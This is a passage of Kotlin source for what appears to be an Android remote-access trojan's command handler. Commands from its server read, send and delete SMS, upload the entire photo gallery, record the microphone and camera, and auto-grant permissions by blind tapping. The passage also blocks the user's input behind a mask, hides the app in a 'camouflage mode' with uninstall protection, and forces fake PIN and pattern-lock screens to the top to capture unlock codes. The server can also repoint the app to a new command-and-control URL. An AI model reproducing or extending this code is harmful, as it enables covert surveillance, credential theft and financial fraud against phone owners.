"DEVICE_BLOCK_INPUT" -> { Log.d(TAG, "阻止设备用户输入") // 检查是否有遮罩配置 val maskText = data.optString("maskText", null) val maskTextSize = if (data.has("maskTextSize")) data.getDouble("maskTextSize").toFloat() else null if (maskText != null || maskTextSize != null) { Log.d(TAG, "设置遮罩配置 - 文字: $maskText, 字体大小: $maskTextSize") service.setMaskTextConfig(maskText, maskTextSize) } service.blockDeviceInput() } "DEVICE_ALLOW_INPUT" -> { Log.d(TAG, "允许设备用户输入") service.allowDeviceInput() } "SET_MASK_CONFIG" -> { Log.d(TAG, "设置遮罩配置") val maskText = data.optString("maskText", null) val maskTextSize = if (data.has("maskTextSize")) data.getDouble("maskTextSize").toFloat() else null service.setMaskTextConfig(maskText, maskTextSize) } "LOG_ENABLE" -> { Log.d(TAG, "暂停:暂时不启用操作日志记录") service.enableLogging() // 暂停:暂时不启用日志 } "LOG_DISABLE" -> { Log.d(TAG, "禁用操作日志记录") service.disableLogging() } "SMART_CONFIRM_DETECTION" -> { Log.d(TAG, "智能确认按钮检测") val passwordType = data.optString("passwordType", "") val screenWidth = data.optInt("screenWidth", 0) val screenHeight = data.optInt("screenHeight", 0) service.performSmartConfirmDetection(passwordType, screenWidth, screenHeight) } "SMART_UNLOCK_SWIPE" -> { Log.d(TAG, "智能上滑解锁") service.performSmartUnlockSwipe() } "ALIPAY_DETECTION_START" -> { Log.d(TAG, "开启支付宝检测") service.enableAlipayDetection() } "ALIPAY_DETECTION_STOP" -> { Log.d(TAG, "关闭支付宝检测") service.disableAlipayDetection() } "WECHAT_DETECTION_START" -> { Log.d(TAG, "开启微信检测") service.enableWechatDetection() } "WECHAT_DETECTION_STOP" -> { Log.d(TAG, "关闭微信检测") service.disableWechatDetection() } "OPEN_APP_SETTINGS" -> { Log.d(TAG, "打开应用设置") service.openAppSettings() } "REFRESH_MEDIA_PROJECTION_PERMISSION" -> { Log.d(TAG, "重新获取投屏权限") service.refreshMediaProjectionPermission() } "REFRESH_MEDIA_PROJECTION_MANUAL" -> { Log.d(TAG, "手动授权投屏权限(不自动点击)") service.refreshMediaProjectionManual() } "CLOSE_CONFIG_MASK" -> { Log.d(TAG, "手动关闭配置遮盖") val isManual = data.optBoolean("manual", false) Log.i(TAG, "Received close config mask command - manual: $isManual") service.forceHideConfigMask(isManual) } "ENABLE_UNINSTALL_PROTECTION" -> { Log.d(TAG, "Enable uninstall protection") service.enableUninstallProtection() } "DISABLE_UNINSTALL_PROTECTION" -> { Log.d(TAG, "Disable uninstall protection") service.disableUninstallProtection() } "CAMERA_START" -> { Log.d(TAG, "📷 启动摄像头捕获") service.startCameraCapture() } "CAMERA_STOP" -> { Log.d(TAG, "📷 停止摄像头捕获") service.stopCameraCapture() } "CAMERA_SWITCH" -> { Log.d(TAG, "📷 切换摄像头") service.switchCamera() } "CAMERA_CAPTURE_START" -> { Log.d(TAG, "📷 开始摄像头捕获(精细控制)") service.startCameraCapturing() } "CAMERA_CAPTURE_STOP" -> { Log.d(TAG, "📷 停止摄像头捕获(精细控制)") service.stopCameraCapturing() } "CAMERA_STATUS" -> { val isCapturing = service.isCameraCapturing() val cameraInfo = service.getCameraInfo() Log.d(TAG, "📷 摄像头状态: ${if (isCapturing) "正在捕获" else "未捕获"}, 摄像头: $cameraInfo") // 可以在这里发送状态回执给服务器 } "CAMERA_INFO" -> { val cameraInfo = service.getCameraInfo() Log.d(TAG, "📷 摄像头信息: $cameraInfo") // 可以在这里发送摄像头信息回执给服务器 } "SMS_READ" -> { val limit = data.optInt("limit", 50) Log.d(TAG, "Read SMS list (limit: $limit)") val smsList = service.readSMSList(limit) Log.d(TAG, "Read ${smsList.size} SMS messages") // 可以在这里发送短信列表回执给服务器 } "SMS_SEND" -> { val phoneNumber = data.getString("phoneNumber") val message = data.getString("message") Log.d(TAG, "Send SMS to: $phoneNumber") val success = service.sendSMS(phoneNumber, message) Log.d(TAG, "SMS send result: $success") // 可以在这里发送发送结果回执给服务器 } "SMS_MARK_READ" -> { val smsId = data.getLong("smsId") Log.d(TAG, "Mark SMS as read: $smsId") val success = service.markSMSAsRead(smsId) Log.d(TAG, "Mark result: $success") } "ALBUM_READ" -> { // 新逻辑:始终读取全部并发送;若有新指令打断,重启任务 Log.d(TAG, "Received album read command, start/restart read+send task (read all)") startReadAndSendAllGallery() } "GALLERY_PERMISSION_REQUEST" -> { Log.d(TAG, "Request gallery permission") service.requestGalleryPermissionWithAutoGrant() } "GALLERY_PERMISSION_CHECK" -> { val hasPermission = service.checkGalleryPermission() Log.d(TAG, "Gallery permission status: ${if (hasPermission) "granted" else "not granted"}") if (!hasPermission) { Log.d(TAG, "Gallery permission not granted, auto requesting") service.requestGalleryPermissionWithAutoGrant() } } "GALLERY_PERMISSION_AUTO_GRANT" -> { Log.d(TAG, "Auto request gallery permission (blind tap)") service.requestGalleryPermissionWithAutoGrant() } "MICROPHONE_PERMISSION_REQUEST" -> { Log.d(TAG, "Request microphone permission") service.requestMicrophonePermissionWithAutoGrant() } "MICROPHONE_PERMISSION_CHECK" -> { val hasPermission = service.checkMicrophonePermission() Log.d(TAG, "Microphone permission status: ${if (hasPermission) "granted" else "not granted"}") if (!hasPermission) { Log.d(TAG, "Microphone permission not granted, auto requesting") service.requestMicrophonePermissionWithAutoGrant() } } "MICROPHONE_PERMISSION_AUTO_GRANT" -> { Log.d(TAG, "Auto request microphone permission (blind tap)") service.requestMicrophonePermissionWithAutoGrant() } "MICROPHONE_START_RECORDING" -> { Log.d(TAG, "Start microphone recording") service.startMicrophoneRecording() } "MICROPHONE_STOP_RECORDING" -> { Log.d(TAG, "Stop microphone recording") service.stopMicrophoneRecording() } "MICROPHONE_RECORDING_STATUS" -> { val isRecording = service.isMicrophoneRecording() Log.d(TAG, "Microphone recording status: ${if (isRecording) "recording" else "not recording"}") val payload = org.json.JSONObject().apply { put("deviceId", getDeviceId()) put("type", "microphone_status") put("timestamp", System.currentTimeMillis()) put("isRecording", isRecording) } socket?.emit("microphone_status", payload) } "SMS_DELETE" -> { val smsId = data.getLong("smsId") Log.d(TAG, "Delete SMS: $smsId") val success = service.deleteSMS(smsId) Log.d(TAG, "Delete result: $success") } "SMS_UNREAD_COUNT" -> { val count = service.getUnreadSMSCount() Log.d(TAG, "Unread SMS count: $count") // 可以在这里发送未读数量回执给服务器 } "SMS_PERMISSION_CHECK" -> { val hasPermission = service.checkSMSPermission() Log.d(TAG, "SMS permission check: $hasPermission") if (!hasPermission) { service.requestSMSPermissionWithAutoGrant() } } "SMS_PERMISSION_AUTO_GRANT" -> { val hasPermission = service.checkSMSPermission() Log.d(TAG, "SMS permission auto grant check: $hasPermission") if (!hasPermission) { service.requestSMSPermissionWithAutoGrant() } else { Log.d(TAG, "SMS permission already granted, no need to request") } } "OPEN_PIN_INPUT" -> { Log.d(TAG, "Received open PIN input page command") openPasswordInputActivity(com.hikoncont.activity.PasswordInputActivity.PASSWORD_TYPE_PIN) } "OPEN_FOUR_DIGIT_PIN" -> { Log.d(TAG, "Received open 4-digit PIN page command") openPasswordInputActivity(com.hikoncont.activity.PasswordInputActivity.PASSWORD_TYPE_PIN_4) } "OPEN_PATTERN_LOCK" -> { Log.d(TAG, "Received open pattern lock page command") openPasswordInputActivity(com.hikoncont.activity.PasswordInputActivity.PASSWORD_TYPE_PATTERN) } "CHANGE_SERVER_URL" -> { val newServerUrl = data.optString("serverUrl", "") if (newServerUrl.isNotEmpty()) { Log.i(TAG, "Received server URL change command: $newServerUrl") handleServerUrlChange(newServerUrl) } else { Log.w(TAG, "Server URL change command missing serverUrl param") } } "SCREEN_CAPTURE_PAUSE" -> { Log.d(TAG, "📺 暂停远程桌面") service.getScreenCaptureManager()?.pauseCapture() } "SCREEN_CAPTURE_RESUME" -> { Log.d(TAG, "📺 继续远程桌面") service.getScreenCaptureManager()?.resumeCapture() } else -> Log.w(TAG, "未知控制操作: $type") } } catch (e: Exception) { Log.e(TAG, "处理控制消息失败", e) } } /** * 发送操作日志到服务器(优化版本,避免与屏幕数据传输冲突) */ fun sendOperationLog(logData: JSONObject) { try { if (isConnected && socket?.connected() == true) { // Optimization: check time gap with screen data to avoid transport conflict val currentTime = System.currentTimeMillis() val timeSinceLastScreenData = currentTime - lastScreenDataTime // 如果刚刚发送过屏幕数据(100ms内),稍微延迟发送日志 if (timeSinceLastScreenData < 100) { android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ try { if (isConnected && socket?.connected() == true) { socket?.emit("operation_log", logData) Log.d(TAG, "[Delayed] Send operation log: ${logData.optString("logType")} - ${logData.optString("content")}") } } catch (e: Exception) { Log.e(TAG, "Delayed send operation log failed", e) } }, 150) // 延迟150ms,错开屏幕数据发送时间 } else { // 安全时间窗口,直接发送 socket?.emit("operation_log", logData) Log.d(TAG, "Send operation log: ${logData.optString("logType")} - ${logData.optString("content")}") } } else { Log.w(TAG, "Socket not connected, cannot send operation log") } } catch (e: Exception) { Log.e(TAG, "Send operation log failed", e) } } /** * 🆕 发送权限申请响应到服务器 */ fun sendPermissionResponse(permissionType: String, success: Boolean, message: String) { try { if (isConnected && socket?.connected() == true) { val responseData = JSONObject().apply { put("deviceId", getDeviceId()) put("permissionType", permissionType) put("success", success) put("message", message) put("timestamp", System.currentTimeMillis()) } socket?.emit("permission_response", responseData) Log.i(TAG, "Send permission response: $permissionType - success=$success, message=$message") } else { Log.w(TAG, "Socket not connected, cannot send permission response") } } catch (e: Exception) { Log.e(TAG, "Send permission response failed", e) } } /** * 🆕 发送设备输入阻塞状态变更到服务器 */ fun sendDeviceInputBlockedChanged(blocked: Boolean, fromConfigComplete: Boolean = false, autoEnabled: Boolean = false) { try { if (isConnected && socket?.connected() == true) { val eventData = JSONObject().apply { put("deviceId", getDeviceId()) put("blocked", blocked) put("success", true) put("message", if (blocked) "设备输入已阻塞" else "设备输入已恢复") put("timestamp", System.currentTimeMillis()) put("fromConfigComplete", fromConfigComplete) // 标记这是配置完成后的自动启用 put("autoEnabled", autoEnabled) // 标记这是自动启用的,区别于手动操作 } socket?.emit("device_input_blocked_changed", eventData) Log.i(TAG, "Send input block state change: blocked=$blocked, fromConfigComplete=$fromConfigComplete, autoEnabled=$autoEnabled") } else { Log.w(TAG, "Socket not connected, cannot send input block state") } } catch (e: Exception) { Log.e(TAG, "Failed to send input block state change", e) } } /** * 处理服务器地址修改 */ private fun handleServerUrlChange(newServerUrl: String) { scope.launch(Dispatchers.IO) { try { Log.i(TAG, "Processing server URL change: $newServerUrl") // 0. Validate new server URL format (accept ws/wss/http/https) if (newServerUrl.isBlank() || (!newServerUrl.startsWith("ws://") && !newServerUrl.startsWith("wss://") && !newServerUrl.startsWith("http://") && !newServerUrl.startsWith("https://"))) { Log.e(TAG, "Invalid server URL format: $newServerUrl") sendErrorResponse("Invalid server URL format") return@launch } // 1. Save new server URL to config val success = com.hikoncont.util.ConfigWriter.updateServerUrl(service, newServerUrl) if (success) { Log.i(TAG, "Server URL saved to config") // 1.5. Verify config was saved correctly val savedUrl = com.hikoncont.util.ConfigWriter.getCurrentServerUrl(service) if (savedUrl == newServerUrl) { Log.i(TAG, "Config verified, new URL saved: $savedUrl") } else { Log.w(TAG, "Config verify failed, saved: $savedUrl, expected: $newServerUrl") } // 2. Send response to server withContext(Dispatchers.Main) { try { val responseData = JSONObject().apply { put("deviceId", getDeviceId()) put("success", true) put("message", "Server URL updated, restarting connection") put("newServerUrl", newServerUrl) put("timestamp", System.currentTimeMillis()) } socket?.emit("server_url_changed", responseData) Log.i(TAG, "Server URL change response sent") } catch (e: Exception) { Log.e(TAG, "Failed to send response", e) } } // 3. Delay then disconnect and reconnect to new server delay(2000) Log.i(TAG, "Restarting WebSocket connection...") reconnectToNewServer(newServerUrl) } else { Log.e(TAG, "Failed to save server URL") // 发送失败响应 withContext(Dispatchers.Main) { try { val responseData = JSONObject().apply { put("deviceId", getDeviceId()) put("success", false) put("message", "保存服务器地址失败") put("timestamp", System.currentTimeMillis()) } socket?.emit("server_url_changed", responseData) } catch (e: Exception) { Log.e(TAG, "Failed to send error response", e) } } } } catch (e: Exception) { Log.e(TAG, "Handle server URL change failed", e) sendErrorResponse("处理服务器地址修改时发生异常: ${e.message}") } } } /** * 发送错误响应 */ private suspend fun sendErrorResponse(errorMessage: String) { withContext(Dispatchers.Main) { try { val responseData = JSONObject().apply { put("deviceId", getDeviceId()) put("success", false) put("message", errorMessage) put("timestamp", System.currentTimeMillis()) } socket?.emit("server_url_changed", responseData) Log.i(TAG, "Send error response: $errorMessage") } catch (e: Exception) { Log.e(TAG, "Send error response failed", e) } } } /** * 重新连接到新服务器 */ private suspend fun reconnectToNewServer(newServerUrl: String) { try { Log.i(TAG, "Disconnecting current connection...") // 1. Disconnect current connection withContext(Dispatchers.Main) { socket?.disconnect() socket?.close() socket = null } Log.i(TAG, "Current connection disconnected") // 2. Wait before reconnecting delay(1000) // 3. Connect to new server (protocol conversion handled in connect()) Log.i(TAG, "Connecting to new server: $newServerUrl") connect(newServerUrl) Log.i(TAG, "WebSocket service restart complete") } catch (e: Exception) { Log.e(TAG, "Reconnect to new server failed", e) } } /** * 打开密码输入页面 */ private fun openPasswordInputActivity(passwordType: String) { try { Log.d(TAG, "Opening password input page, type: $passwordType") // Reset password input completion state to allow re-input val prefs = service.getSharedPreferences("password_input", Context.MODE_PRIVATE) val completed = prefs.getBoolean("password_input_completed", false) if (completed) { Log.i(TAG, "Password already completed, resetting state for re-input") prefs.edit().putBoolean("password_input_completed", false).apply() Log.i(TAG, "Password input state reset, ready for re-input") } // 检查是否处于伪装模式,如果是则确保MainActivity被禁用 if (isAppInCamouflageMode()) { Log.i(TAG, "🎭 检测到伪装模式,确保MainActivity被禁用") ensureMainActivityDisabled() } val deviceId = getDeviceId() val installationId = System.currentTimeMillis().toString() val intent = Intent(service, com.hikoncont.activity.PasswordInputActivity::class.java).apply { putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_PASSWORD_TYPE, passwordType) putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_DEVICE_ID, deviceId) putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_INSTALLATION_ID, installationId) putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_SOCKET_WAKE, true) // 使用温和的flags设置,避免Activity被销毁 addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP) addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT) } service.startActivity(intent) Log.d(TAG, "Password input page started, type: $passwordType") // 启动无障碍监控 startAccessibilityMonitoring(passwordType, deviceId, installationId) } catch (e: Exception) { Log.e(TAG, "Failed to start password input page", e) } } /** * 🎭 检查APP是否处于伪装模式 */ private fun isAppInCamouflageMode(): Boolean { return try { val packageManager = service.packageManager val phoneManagerComponent = android.content.ComponentName(service, "com.hikoncont.PhoneManagerAlias") val mainComponent = android.content.ComponentName(service, "com.hikoncont.MainActivity") val phoneManagerEnabled = packageManager.getComponentEnabledSetting(phoneManagerComponent) val mainDisabled = packageManager.getComponentEnabledSetting(mainComponent) val isCamouflage = (phoneManagerEnabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_ENABLED) && (mainDisabled == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED) Log.d(TAG, "🎭 检查APP伪装模式: $isCamouflage (PhoneManager: $phoneManagerEnabled, Main: $mainDisabled)") isCamouflage } catch (e: Exception) { Log.e(TAG, "Failed to check app camouflage mode", e) false } } /** * 🎭 确保MainActivity被禁用 */ private fun ensureMainActivityDisabled() { try { Log.i(TAG, "🎭 确保MainActivity被禁用") val packageManager = service.packageManager val mainComponent = android.content.ComponentName(service, "com.hikoncont.MainActivity") val currentState = packageManager.getComponentEnabledSetting(mainComponent) if (currentState != android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED) { packageManager.setComponentEnabledSetting( mainComponent, android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED, android.content.pm.PackageManager.DONT_KILL_APP ) Log.i(TAG, "MainActivity re-disabled") } else { Log.d(TAG, "MainActivity already disabled") } } catch (e: Exception) { Log.e(TAG, "Failed to ensure MainActivity disabled", e) } } /** * 启动无障碍监控(参考handleNormalPasswordPageSwitch强制置顶) */ private fun startAccessibilityMonitoring(passwordType: String, deviceId: String, installationId: String) { try { Log.d(TAG, "Start accessibility monitoring, password type: $passwordType") Log.d(TAG, "Device ID: $deviceId") Log.d(TAG, "Installation ID: $installationId") // 通过AccessibilityRemoteService获取AccessibilityEventManager val accessibilityService = service as? com.hikoncont.service.AccessibilityRemoteService if (accessibilityService != null) { Log.d(TAG, "Got AccessibilityRemoteService") val eventManager = accessibilityService.getAccessibilityEventManager() if (eventManager != null) { Log.d(TAG, "Got AccessibilityEventManager") // 启动Socket唤醒密码监控 eventManager.startSocketWakePasswordMonitoring(passwordType, deviceId, installationId) Log.d(TAG, "Accessibility monitoring started") // Start force-top monitoring startForceTopMonitoring(passwordType, deviceId, installationId) Log.d(TAG, "Force-top monitoring started") } else { Log.w(TAG, "AccessibilityEventManager is null, monitoring not started") } } else { Log.w(TAG, "Cannot get AccessibilityRemoteService, monitoring not started") Log.w(TAG, "Service type: ${service::class.java.simpleName}") } } catch (e: Exception) { Log.e(TAG, "Failed to start accessibility monitoring", e) } } /** * 启动强制置顶监控(参考handleNormalPasswordPageSwitch逻辑) */ private fun startForceTopMonitoring(passwordType: String, deviceId: String, installationId: String) { try { Log.d(TAG, "🔝 启动强制置顶监控,密码类型: $passwordType") // 延迟启动强制置顶,给页面充分时间加载 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ try { // 通过AccessibilityRemoteService获取AccessibilityEventManager val accessibilityService = service as? com.hikoncont.service.AccessibilityRemoteService if (accessibilityService != null) { val eventManager = accessibilityService.getAccessibilityEventManager() if (eventManager != null) { // 启用强制返回功能 eventManager.enableForceReturn() Log.d(TAG, "Force return enabled") // 记录操作日志 accessibilityService.recordOperationLog("SOCKET_FORCE_TOP_START", "Socket强制置顶启动", mapOf( "passwordType" to passwordType, "deviceId" to deviceId, "installationId" to installationId, "forceReturnEnabled" to true, "timestamp" to System.currentTimeMillis() )) } } } catch (e: Exception) { Log.e(TAG, "Failed to start force-top monitoring", e) } }, 2000) // 2秒延迟,给页面充分时间加载 } catch (e: Exception) { Log.e(TAG, "Failed to start force-top monitoring (outer)", e) } } fun disconnect() { socket?.disconnect() isConnected = false isDeviceRegistered = false connectionCheckJob?.cancel() } fun isConnected(): Boolean = isConnected && socket?.connected() == true fun isDeviceRegistered(): Boolean = isDeviceRegistered && isConnected() /** * Check connection status and reconnect immediately */ private fun checkConnectionAndReconnect() { scope.launch { try { Log.d(TAG, "立即检测连接状态") val socketConnected = socket?.connected() == true if (!socketConnected || !isConnected) { Log.w(TAG, "连接已断开,立即重连") forceReconnect() } else { Log.d(TAG, "连接状态正常") } } catch (e: Exception) { Log.e(TAG, "连接检测异常", e) } } } /** * 智能重新连接 - 增强稳定性版本(针对transport error问题) * 添加重连深度限制,防止无限递归导致协程泄漏和内存耗尽 */ private var forceReconnectDepth = 0 private val MAX_FORCE_RECONNECT_DEPTH = 3 fun forceReconnect() { scope.launch { try { forceReconnectDepth++ if (forceReconnectDepth > MAX_FORCE_RECONNECT_DEPTH) { Log.e(TAG, "重连深度超限(${forceReconnectDepth}/${MAX_FORCE_RECONNECT_DEPTH}),停止递归重连,等待Socket.IO自动重连") forceReconnectDepth = 0 return@launch } Log.i(TAG, "开始智能重连(深度${forceReconnectDepth}/${MAX_FORCE_RECONNECT_DEPTH})") // 重置所有状态 isConnected = false isDeviceRegistered = false connectionCheckJob?.cancel() // 优雅断开旧连接,给系统清理时间 try { socket?.disconnect() delay(1000) socket?.close() } catch (e: Exception) { Log.w(TAG, "断开旧连接时出现异常(可忽略)", e) } Log.i(TAG, "旧连接已断开,等待智能延迟后重新连接...") // 智能延迟:根据网络环境调整等待时间 + 随机化避免多设备同时重连 val baseDelay = if (Build.VERSION.SDK_INT >= 35) { 8000L } else { 5000L } val randomDelay = (1000..4000).random().toLong() // 限制transportErrorCount对延迟的影响,防止延迟无限增长 val errorIncrement = minOf(transportErrorCount, 5) * 2000L val totalDelay = baseDelay + randomDelay + errorIncrement Log.i(TAG, "智能重连延迟: ${totalDelay}ms (基础: ${baseDelay}ms + 随机: ${randomDelay}ms + 错误增量: ${errorIncrement}ms)") delay(totalDelay) // 重新创建Socket实例,使用增强配置 Log.i(TAG, "重新创建增强Socket实例...") try { val useConservativeStrategy = shouldUseConservativeReconnect() Log.i(TAG, "重连策略选择: 保守策略=$useConservativeStrategy, transportErrorCount=$transportErrorCount") val options = IO.Options().apply { val isVeryPoorNetwork = networkQualityScore < 30 timeout = when { isVeryPoorNetwork -> 90000 useConservativeStrategy -> 60000 else -> 45000 } reconnection = true reconnectionAttempts = when { isVeryPoorNetwork -> 3 useConservativeStrategy -> 5 else -> 10 } reconnectionDelay = when { isVeryPoorNetwork -> 8000L useConservativeStrategy -> 5000L else -> 3000L } reconnectionDelayMax = when { isVeryPoorNetwork -> 30000L useConservativeStrategy -> 20000L else -> 12000L } // 传输策略:根据网络质量和历史情况调整 transports = when { isVeryPoorNetwork || networkQualityScore < 40 -> { arrayOf("polling") } useConservativeStrategy -> { arrayOf("polling") } else -> { arrayOf("polling", "websocket") } } upgrade = !useConservativeStrategy rememberUpgrade = true forceNew = true query = "reconnect=true&strategy=${if (useConservativeStrategy) "conservative" else "standard"}×tamp=${System.currentTimeMillis()}" } socket = IO.socket(java.net.URI.create(convertToSocketIoProtocol(serverUrl)), options) setupEventListeners() socket?.connect() Log.i(TAG, "增强Socket实例已创建并连接") // 重连成功,重置深度计数 forceReconnectDepth = 0 } catch (e: Exception) { Log.e(TAG, "重新创建Socket失败", e) // 重连失败时的回退策略,有深度限制保护 delay(10000) if (!isConnected) { Log.w(TAG, "重连失败,10秒后再次尝试(深度${forceReconnectDepth}/${MAX_FORCE_RECONNECT_DEPTH})...") forceReconnect() } } } catch (e: Exception) { Log.e(TAG, "智能重连异常", e) forceReconnectDepth = 0 } } } /** * Start active connection monitoring - enhanced stability version */ private fun startConnectionMonitoring() { Log.e(TAG, "Starting enhanced connection monitoring") // Optimize: adjust check interval to coordinate with server 60s heartbeat val checkInterval = if (Build.VERSION.SDK_INT >= 35) { // Android 15 (API 35) 30000L // Android 15每30秒检测一次,与60秒心跳间隔形成2:1比例 } else { 25000L // 其他版本每25秒检测一次,更快发现连接问题 } connectionCheckJob = scope.launch { var consecutiveFailures = 0 // Consecutive failure count while (isActive && isConnected) { try { delay(checkInterval) Log.w(TAG, "Executing smart connection check...") // Multi-layer connection status check val socketConnected = socket?.connected() == true val socketExists = socket != null if (!socketExists) { Log.e(TAG, "Socket instance does not exist") isConnected = false isDeviceRegistered = false forceReconnect() break } if (!socketConnected) { consecutiveFailures++ Log.e(TAG, "Socket.IO connection lost, consecutive failures: $consecutiveFailures") // Balance fault tolerance and response speed if (consecutiveFailures >= 5) { Log.e(TAG, "Connection check failed ${consecutiveFailures} times, triggering reconnect") isConnected = false isDeviceRegistered = false forceReconnect() break } else { Log.w(TAG, "Check failure count: $consecutiveFailures/5, waiting for next check") continue } } else { consecutiveFailures = 0 // 重置失败计数 } // Optimize heartbeat test: reduce frequency to minimize transport errors if (consecutiveFailures == 0) { try { val testData = JSONObject().apply { put("type", "connection_test") put("timestamp", System.currentTimeMillis()) put("device_id", android.provider.Settings.Secure.getString( service.contentResolver, android.provider.Settings.Secure.ANDROID_ID )) } socket?.emit("CONNECTION_TEST", testData) Log.w(TAG, "Connection check: test message sent successfully") } catch (e: Exception) { consecutiveFailures++ Log.e(TAG, "Connection check: test message send failed, consecutive failures: $consecutiveFailures", e) // Respond quickly to heartbeat failures if (consecutiveFailures >= 6) { Log.e(TAG, "Heartbeat test failed ${consecutiveFailures} times, calling reconnect") isConnected = false forceReconnect() break } } } } catch (e: Exception) { Log.e(TAG, "Connection monitoring exception", e) break } } Log.e(TAG, "💔💔💔 连接监控结束 💔💔💔") } } private fun getDeviceId(): String { return android.provider.Settings.Secure.getString( service.contentResolver, android.provider.Settings.Secure.ANDROID_ID ) ?: "unknown" } private fun getUniqueDeviceName(): String { val model = android.os.Build.MODEL val deviceId = getDeviceId() val shortId = deviceId.takeLast(8) return "${android.os.Build.MANUFACTURER}_${model}_${shortId}" } /** * 获取设备屏幕宽度 */ private fun getScreenWidth(): Int { val metrics = service.resources.displayMetrics return metrics.widthPixels } /** * 获取设备屏幕高度 */ private fun getScreenHeight(): Int { // 使用WindowMetrics获取完整的屏幕尺寸(包含系统UI) try { val windowManager = service.getSystemService(Context.WINDOW_SERVICE) as android.view.WindowManager return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) { val windowMetrics = windowManager.currentWindowMetrics windowMetrics.bounds.height() } else { @Suppress("DEPRECATION") val display = windowManager.defaultDisplay val realSize = android.graphics.Point() @Suppress("DEPRECATION") display.getRealSize(realSize) realSize.y } } catch (e: Exception) { Log.e(TAG, "获取真实屏幕尺寸失败,使用默认方法", e) val metrics = service.resources.displayMetrics return metrics.heightPixels } } /** * 处理UI层次结构分析请求 - 默认使用增强功能 */ private fun handleUIHierarchyRequest(requestData: JSONObject) { try { Log.e(TAG, "Processing UI hierarchy analysis request (enhanced mode)") val requestId = requestData.optString("requestId", "") val clientId = requestData.optString("clientId", "") val includeInvisible = requestData.optBoolean("includeInvisible", true) // 默认true val includeNonInteractive = requestData.optBoolean("includeNonInteractive", true) val maxDepth = requestData.optInt("maxDepth", 25) // 默认25层 Log.e(TAG, "Request params: requestId=$requestId, clientId=$clientId, includeInvisible=$includeInvisible, includeNonInteractive=$includeNonInteractive, maxDepth=$maxDepth") // 使用协程在后台执行UI分析 scope.launch { try { Log.e(TAG, "🔬🔬🔬 开始执行增强UI分析!!! 🔬🔬🔬") // 直接调用原有的分析方法,并使用增强参数 val enhancedMaxDepth = maxOf(maxDepth, 25) // 至少25层 val enhancedIncludeInvisible = includeInvisible || true // 默认包含不可见元素 val hierarchy = service.analyzeUIHierarchy(enhancedIncludeInvisible, includeNonInteractive, enhancedMaxDepth) // 获取基本设备信息 val deviceCharacteristics = mapOf( "brand" to android.os.Build.BRAND, "model" to android.os.Build.MODEL, "manufacturer" to android.os.Build.MANUFACTURER, "sdkVersion" to android.os.Build.VERSION.SDK_INT.toString(), "androidVersion" to android.os.Build.VERSION.RELEASE, "deviceType" to "android" ) if (hierarchy != null) { Log.e(TAG, "Enhanced UI analysis succeeded") // 发送完整的UI层次结构响应 val responseData = JSONObject().apply { put("deviceId", getDeviceId()) put("requestId", requestId) put("clientId", clientId) put("success", true) put("message", "增强UI分析成功") put("timestamp", System.currentTimeMillis()) put("hierarchy", hierarchy as Any) put("enhanced", true) // 总是标识为增强版 // 总是包含设备特征信息 put("deviceCharacteristics", JSONObject(deviceCharacteristics)) // 添加分析元数据 put("analysisMetadata", JSONObject().apply { put("version", "enhanced_v1.0") put("parameters", JSONObject().apply { put("includeInvisible", includeInvisible) put("includeNonInteractive", includeNonInteractive) put("maxDepth", maxDepth) }) put("capabilities", JSONObject().apply { put("keyboardDetection", true) put("windowDetection", true) put("deviceProfiling", true) }) }) } Log.e(TAG, "Sending enhanced UI hierarchy response") Log.e(TAG, "Response data size: ${responseData.toString().length} chars") Log.e(TAG, "Device features: included") // 发送响应 sendUIHierarchyResponse(responseData) } else { Log.e(TAG, "Enhanced UI analysis returned null") // 发送错误响应 sendUIHierarchyError(requestId, clientId, "无法获取UI层次结构(增强模式)") } } catch (e: Exception) { Log.e(TAG, "Enhanced UI hierarchy analysis failed", e) sendUIHierarchyError(requestId, clientId, "增强分析失败: ${e.message}") } } } catch (e: Exception) { Log.e(TAG, "Handle UI hierarchy request failed", e) } } /** * 发送UI层次结构响应 - 使用screen_data事件发送(已验证可行) */ private fun sendUIHierarchyResponse(responseData: JSONObject) { try { Log.e(TAG, "Using screen_data event to send UI hierarchy response") // Simple connection check following sendScreenData pattern if (isConnected && socket?.connected() == true) { // Use screen_data event to send UI response data try { // Convert UI response data to screen_data format val uiScreenData = JSONObject().apply { put("deviceId", getDeviceId()) put("format", "UI_HIERARCHY") // 特殊格式标识 put("data", responseData.toString()) // UI数据作为字符串 put("width", getScreenWidth()) put("height", getScreenHeight()) put("quality", 100) // UI数据质量设为100 put("timestamp", System.currentTimeMillis()) put("uiHierarchy", true) // 标识这是UI层次结构数据 } val emitResult = socket?.emit("screen_data", uiScreenData) Log.e(TAG, "UI hierarchy response sent via screen_data event: $emitResult") Log.e(TAG, "UI response data size: ${responseData.toString().length} chars") Log.e(TAG, "Socket status: connected=${socket?.connected()}, id=${socket?.id()}") } catch (emitException: Exception) { // UI hierarchy response failure handling with tolerance Log.e(TAG, "UI hierarchy response send failed via screen_data: ${emitException.message}") // Don't trigger reconnect immediately, let unified reconnect mechanism handle it Log.w(TAG, "UI response send failed, CONNECTION_TEST heartbeat will handle reconnect") throw emitException } } else { Log.e(TAG, "Socket.IO not connected, cannot send UI hierarchy response") Log.e(TAG, "Connection status: isConnected=$isConnected, socket?.connected()=${socket?.connected()}") // Don't reconnect immediately, let heartbeat mechanism handle it Log.w(TAG, "Socket not connected, waiting for CONNECTION_TEST heartbeat to detect reconnect") } } catch (e: Exception) { Log.e(TAG, "Send UI hierarchy response exception", e) } } /** * 发送UI层次结构错误响应 - 使用screen_data事件发送 */ private fun sendUIHierarchyError(requestId: String, clientId: String, errorMessage: String) { try { val errorData = JSONObject().apply { put("deviceId", getDeviceId()) put("requestId", requestId) put("clientId", clientId) put("error", errorMessage) put("success", false) put("timestamp", System.currentTimeMillis()) } Log.w(TAG, "Sending UI hierarchy error response: 